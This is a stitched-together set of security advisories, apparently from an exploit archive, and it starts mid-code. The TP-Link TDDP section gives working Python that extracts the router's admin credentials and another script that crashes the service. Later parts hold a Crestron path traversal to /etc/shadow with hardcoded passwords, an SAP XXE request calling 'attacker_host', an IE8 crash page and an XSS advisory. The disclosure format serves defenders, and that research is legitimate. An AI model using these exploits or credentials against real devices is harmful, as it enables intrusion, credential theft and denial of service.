tddp['payload'] += trail
return tddp
class TPLINKConfig(object):
def __init__(self, aConfig):
self.__parseConfig(aConfig)
def __sanitizeKeyValue(self, k, v):
k = k.replace("\r", "")
k = k.replace("\n", "")
v = v.replace("\r", "")
v = v.replace("\n", "")
return k,v
def __parseConfig(self, aConfig):
self.__key_order = []
self.Header = aConfig[:0x10]
pending = aConfig[0x10:]
k_v = re.findall("(.*?) (.*)", pending)
for k, v in k_v:
k,v = self.__sanitizeKeyValue(k,v)
real_value = v.split(" ")
if len(real_value) == 1:
real_value = real_value[0]
self.__dict__[k] = real_value
self.__key_order.append(k)
def __str__(self):
cfg = []
cfg.append(self.Header)
for k in self.__key_order:
value = self.__dict__[k]
if not isinstance(value, basestring):
str_value = " ".join(value)
else:
str_value = value
line = "%s %s" % (k, str_value)
cfg.append(line)
str_cfg = "\r\n".join(cfg)
return str_cfg
class TDDPSessionV1(object):
def __init__(self, ip, port=1040):
self.ip = ip
self.port = port
self.req_buidler = TDDPRequestsPacketBuilder()
def send(self, aPacket):
self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.conn.sendto(str(aPacket), (self.ip, self.port))
self.conn.close()
def recv(self, n):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.bind(('', 61000))
data, addr = udp.recvfrom(n)
return TDDP(data)
def _send_and_recv(self, packet, n):
self.send(packet)
return self.recv(n)
#####################################
def getConfig(self):
c_packet = self.req_buidler.getConfigPacket()
return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
def getSerialNumber(self):
c_packet = self.req_buidler.getSerialNumberPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def getProductID(self):
c_packet = self.req_buidler.getProductIDPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def setInitState(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
return self._send_and_recv(c_packet, 50000)
def save(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
self._send_and_recv(c_packet, 50000)
def reboot(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
self._send_and_recv(c_packet, 50000)
def clr_dos(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
self._send_and_recv(c_packet, 50000)
def setConfig(self, aConfig):
c_packet = self.req_buidler.setConfigPacket(str(aConfig))
self._send_and_recv(c_packet, 50000)
HOST = "192.168.1.254"
s = TDDPSessionV1(HOST)
config = s.getConfig()
print "user: ", config.lgn_usr
print "pass: ", config.lgn_pwd
7.2. Buffer Overflow in TDDP v1 protocol
[CVE-pending-assignment-2] A buffer overflow vulnerability was found when sending a handcrafted "set configuration" message to the TDDP service with an extensive configuration file and forcing version 1 in the packet.
The following is a proof of concept to demonstrate the vulnerability by crashing the TDDP service (Impacket [2] is required for the PoC to work). To reestablish the TDDP service the device must be restarted:
import socket
import re
import string
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct
class TDDP(Structure):
structure = (
('version','B=0x1'),
('type','B=0'),
('code','B=0'),
('replyInfo','B=0'),
('packetLength','>L=0'),
('pktID','<H=1'),
('subType','B=0'),
('reserved','B=0'),
('payload',':=""'),
)
def printPayload(self):
print self.getPayloadAsString()
def getPayloadAsString(self):
s=''
for i in range(len(self['payload'])):
s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
return s
class TDDPRequestsPacketBuilder(object):
SET_CONFIG = 1
GET_CONFIG = 2
CMD_SYS0_PR = 3
GET_SERIAL_NUMBER = 5
GET_PRODUCT_ID = 10
def getRequestPacket(self):
tddp = TDDP()
tddp['version'] = 1
tddp['replyInfo'] = 1
return tddp
def getConfigPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_CONFIG
tddp['payload'] = ('\x00'*0x10) + 'all'
tddp['packetLength'] = len(tddp['payload'])
return tddp
def setConfigPacket(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.SET_CONFIG
tddp['payload'] = ('\x00'*0x10) + trail
tddp['packetLength'] = len(tddp['payload'])
return tddp
def getSerialNumberPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_SERIAL_NUMBER
return tddp
def getProductIDPacket(self):
tddp = self.getRequestPacket()
tddp['type'] = self.GET_PRODUCT_ID
return tddp
def CMD_SYS0_PR_Packet(self, trail):
tddp = self.getRequestPacket()
tddp['type'] = self.CMD_SYS0_PR
tddp['replyInfo'] = 2
tddp['payload'] = ('\x00'*0x10)
tddp['packetLength'] = len(tddp['payload'])
tddp['payload'] += trail
return tddp
class TPLINKConfig(object):
def __init__(self, aConfig):
self.__parseConfig(aConfig)
def __sanitizeKeyValue(self, k, v):
k = k.replace("\r", "")
k = k.replace("\n", "")
v = v.replace("\r", "")
v = v.replace("\n", "")
return k,v
def __parseConfig(self, aConfig):
self.__key_order = []
self.Header = aConfig[:0x10]
pending = aConfig[0x10:]
k_v = re.findall("(.*?) (.*)", pending)
for k, v in k_v:
k,v = self.__sanitizeKeyValue(k,v)
real_value = v.split(" ")
if len(real_value) == 1:
real_value = real_value[0]
self.__dict__[k] = real_value
self.__key_order.append(k)
def __str__(self):
cfg = []
cfg.append(self.Header)
for k in self.__key_order:
value = self.__dict__[k]
if not isinstance(value, basestring):
str_value = " ".join(value)
else:
str_value = value
line = "%s %s" % (k, str_value)
cfg.append(line)
str_cfg = "\r\n".join(cfg)
return str_cfg
class TDDPSessionV1(object):
def __init__(self, ip, port=1040):
self.ip = ip
self.port = port
self.req_buidler = TDDPRequestsPacketBuilder()
def send(self, aPacket):
self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.conn.sendto(str(aPacket), (self.ip, self.port))
self.conn.close()
def recv(self, n):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.bind(('', 61000))
data, addr = udp.recvfrom(n)
return TDDP(data)
def _send_and_recv(self, packet, n):
self.send(packet)
return self.recv(n)
#####################################
def getConfig(self):
c_packet = self.req_buidler.getConfigPacket()
return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
def getSerialNumber(self):
c_packet = self.req_buidler.getSerialNumberPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def getProductID(self):
c_packet = self.req_buidler.getProductIDPacket()
return self._send_and_recv(c_packet, 50000).getPayloadAsString()
def setInitState(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
return self._send_and_recv(c_packet, 50000)
def save(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
self._send_and_recv(c_packet, 50000)
def reboot(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
self._send_and_recv(c_packet, 50000)
def clr_dos(self):
c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
self._send_and_recv(c_packet, 50000)
def setConfig(self, aConfig):
c_packet = self.req_buidler.setConfigPacket(str(aConfig))
self._send_and_recv(c_packet, 50000)
class Exploit(TDDPSessionV1):
def run(self):
c_packet = self.req_buidler.getRequestPacket()
c_packet['type'] = self.req_buidler.SET_CONFIG
c_packet['payload'] = "A"*325
c_packet['packetLength'] = 0x0264
return self.send(c_packet)
HOST = "192.168.1.254"
PORT = 1040
s = Exploit(HOST)
s.run()
8. Report Timeline
2016-10-04: Core Security sent an initial notification to TP-Link.
2016-10-07: Core Security sent a second notification to TP-Link.
2016-10-31: Core Security sent a third notification to TP-Link through Twitter.
2016-11-09: Core Security sent a fourth notification to TP-Link through email and Twitter without receiving any response whatsoever.
2016-11-10: Core Security sent a request to Mitre for two CVE ID's for this advisory.
2016-11-12: Mitre replied that the vulnerabilities didn't affected products that were in the scope for CVE.
2016-11-21: Advisory CORE-2016-0007 published.
9. References
[1] http://www.tplink.com/.
[2] https://www.coresecurity.com/corelabs-research/open-source-tools/impacket.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
11. About Core Security
Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2016 Core Security and (c) 2016 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
<!--
Source: http://blog.skylined.nl/20161121001.html
Synopsis
A specially crafted web-page can cause an unknown type of memory corruption in Microsoft Internet Explorer 8. This vulnerability can cause the Ptls5::LsFindSpanVisualBoundaries method (or other methods called by it) to access arbitrary memory.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.
Description
The memory corruption causes the Ptls5::LsFindSpanVisualBoundaries method to access data at seemingly random addresses. However, these addresses appear to always be in the same range as valid heap addresses, even if they are often not DWORD aligned. The reason for the memory corruption is not immediately obvious.
Repro.html
-->
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<button>
<pre>
<x>
<sub>
<ruby>
<img height="1"/>
</ruby>
</sub>
</x>
</pre>
</button>
</body>
</html>
<!--
Time-line
July 2014: This vulnerability was found through fuzzing.
November 2016: Details of this issue are released.
-->
=================================================================
# Crestron AM-100 (Multiple Vulnerabilities)
=================================================================
# Date: 2016-08-01
# Exploit Author: Zach Lanier
# Vendor Homepage: https://www.crestron.com/products/model/am-100
# Version: v1.1.1.11 - v1.2.1
# CVE: CVE-2016-5639
# References:
# https://medium.com/@benichmt1/an-unwanted-wireless-guest-9433383b1673#.78tu9divi
# https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md
Description:
The Crestron AirMedia AM-100 with firmware versions v1.1.1.11 - v1.2.1 is vulnerable to multiple issues.
1) Path Traversal
GET request:
http://[AM-100-ADDRESS]/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../../etc/shadow
2) Hidden Management Console
http://[AM-100-ADDRESS]/cgi-bin/login_rdtool.cgi
The AM-100 has a hardcoded default credential of rdtool::mistral5885
This interface contains the ability to upload arbitrary files (RD upload) and can enable a telnet server that runs on port 5885 (RD Debug mode).
3) Hardcoded credentials
The default root password for these devices is root::awind5885
Valid login sessions for the default (non-debugging) management interface are stored on the filesystem as session01, session02.. etc. Cleartext credentials can be read directly from these files.
Application: SAP NetWeaver AS JAVA
Versions Affected: SAP NetWeaver AS JAVA 7.5
Vendor URL: SAP
Bugs: XXE
Reported: 09.03.2016
Vendor response: 10.03.2016
Date of Public Advisory: 09.08.2016
Reference: SAP Security Note 2296909
Author: Vahagn Vardanyan (ERPScan)
1. ADVISORY INFORMATION
Title: [ERPSCAN-16-034] SAP NetWeaver AS JAVA – XXE vulnerability in BC-BMT-BPM-DSK component
Advisory ID:[ERPSCAN-16-034]
Risk: high
Advisory URL: https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/
Date published: 11.11.2016
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: XXE
Impact: Denial of Service, Read File
Remotely Exploitable: yes
Locally Exploitable: no
CVSS Information
CVSS Base Score v3: 6.4 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) Low (L)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U)
C : Impact to Confidentiality Low (L)
I : Impact to Integrity Low (L)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
1) It is possible, that an attacker can perform a DoS attack (for example, an XML Entity expansion attack)
2) An SMB Relay attack is a type of man-in-the-middle attack where an attacker asks a victim to authenticate to a machine controlled by the
attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways, giving him access.
4. VULNERABLE PACKAGES
BPEM PORTAL CONTENT 7.20
BPEM PORTAL CONTENT 7.30
BPEM PORTAL CONTENT 7.31
BPEM PORTAL CONTENT 7.40
BPEM PORTAL CONTENT 7.50
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2296909
6. AUTHOR
Vahagn Vardanyan (ERPScan)
7. TECHNICAL DESCRIPTION
PoC
POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1
Content-Type: text/xml
User-Agent: ERPscan
Host: SAP_IP:SAP_PORT
Content-Length: 480
Connection: Keep-Alive
Cache-Control: no-cache
Authorization: Basic ZXJwc2NhbjplcnBzY2Fu
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host">
]><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body>
<m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>
&xxe;</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
8. REPORT TIMELINE
Sent: 09.03.2016
Reported: 10.03.2016
Vendor response: 10.03.2016
Date of Public Advisory: 09.08.2016
9. REFERENCES
https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/
[RCESEC-2016-009] AppFusions Doxygen for Atlassian Confluence v1.3.2 renderContent() Persistent Cross-Site Scripting
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: AppFusions Doxygen for Atlassian Confluence
Vendor URL: www.appfusions.com
Type: Cross-site Scripting [CWE-79]
Date found: 29/06/2016
Date published: 20/11/2016
CVSSv3 Score: 6.4 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)
CVE: -
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
AppFusions Doxygen for Atlassian Confluence v1.3.3
AppFusions Doxygen for Atlassian Confluence v1.3.2
AppFusions Doxygen for Atlassian Confluence v1.3.1
AppFusions Doxygen for Atlassian Confluence v1.3.0
older versions may be affected too.
4. INTRODUCTION
===============
With Doxygen in Confluence, you can embed full-structure code documentation:
-Doxygen blueprint in Confluence to allow Doxygen archive imports
-Display documentation from annotated sources such as Java (i.e., JavaDoc),
C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and UNO/OpenOffice
flavors), Fortran, VHDL, Tcl, D in Confluence.
-Navigation supports code structure (classes, hierarchies, files), element
dependencies, inheritance and collaboration diagrams.
-Search documentation from within Confluence
-Restrict access to who can see/add what
-Doxygen in JIRA also available
(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The application offers the functionality to import Doxygen documentations via a file upload to make them available in a Confluence page, but does not properly validate the file format/the contents of the uploaded Doxygen file. Since the uploaded file is basically a zipped archive, it is possible to store any type of file in it like an HTML file containing arbitrary script.
In DoxygenFileServlet.java (lines 82-105) the "file" GET parameter is read
and used as part of a File object:
private void renderContent(HttpServletRequest request, HttpServletResponse response) throws IOException {
String pathInfo = request.getPathInfo();
String[] pathInfoParts = pathInfo.split("file/");
String requestedFile = pathInfoParts[1];
File homeDirectory = this.applicationProperties.getHomeDirectory();
String doxygenDir = homeDirectory.getAbsolutePath() + File.separator + "doxygen";
File file = new File(doxygenDir, requestedFile);
String contentType = this.getServletContext().getMimeType(file.getName());
if (contentType == null) {
contentType = "application/octet-stream";
}
response.setContentType(contentType);
FileInputStream inputStream = null;
ServletOutputStream outputStream = null;
try {
inputStream = new FileInputStream(file);
outputStream = response.getOutputStream();
IOUtils.copy((InputStream)inputStream, (OutputStream)outputStream);
}
finally {
IOUtils.closeQuietly((InputStream)inputStream);
IOUtils.closeQuietly((OutputStream)outputStream);
}
}
6. RISK
=======
To successfully exploit this vulnerability, the attacker must be authenticated and must have the rights within Atlassian Confluence to upload
Doxygen files (default).
The vulnerability allows remote attackers to permanently embed arbitrary script code into the context of an Atlassian Confluence page, which offers a wide range of possible attacks such as redirecting users to arbitrary pages, present phishing content or attacking the browser and its components of a user visiting the page.
7. POC
===========
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40817.zip
8. SOLUTION
===========
Update to AppFusions Doxygen for Atlassian Confluence v1.3.4
9. REPORT TIMELINE (DD/MM/YYYY)
===============================
23/08/2016: Discovery of the vulnerability
23/08/2016: Sent preliminary advisory incl. PoC to known mail address
30/08/2016: No response, sent out another notification
30/08/2016: Vendor response, team is working on it
20/10/2016: Vendor releases v1.3.4 which fixes this vulnerability
20/11/2016: Advisory released
9. REFERENCES
=============
https://bugs.rcesecurity.com/redmine/issues/13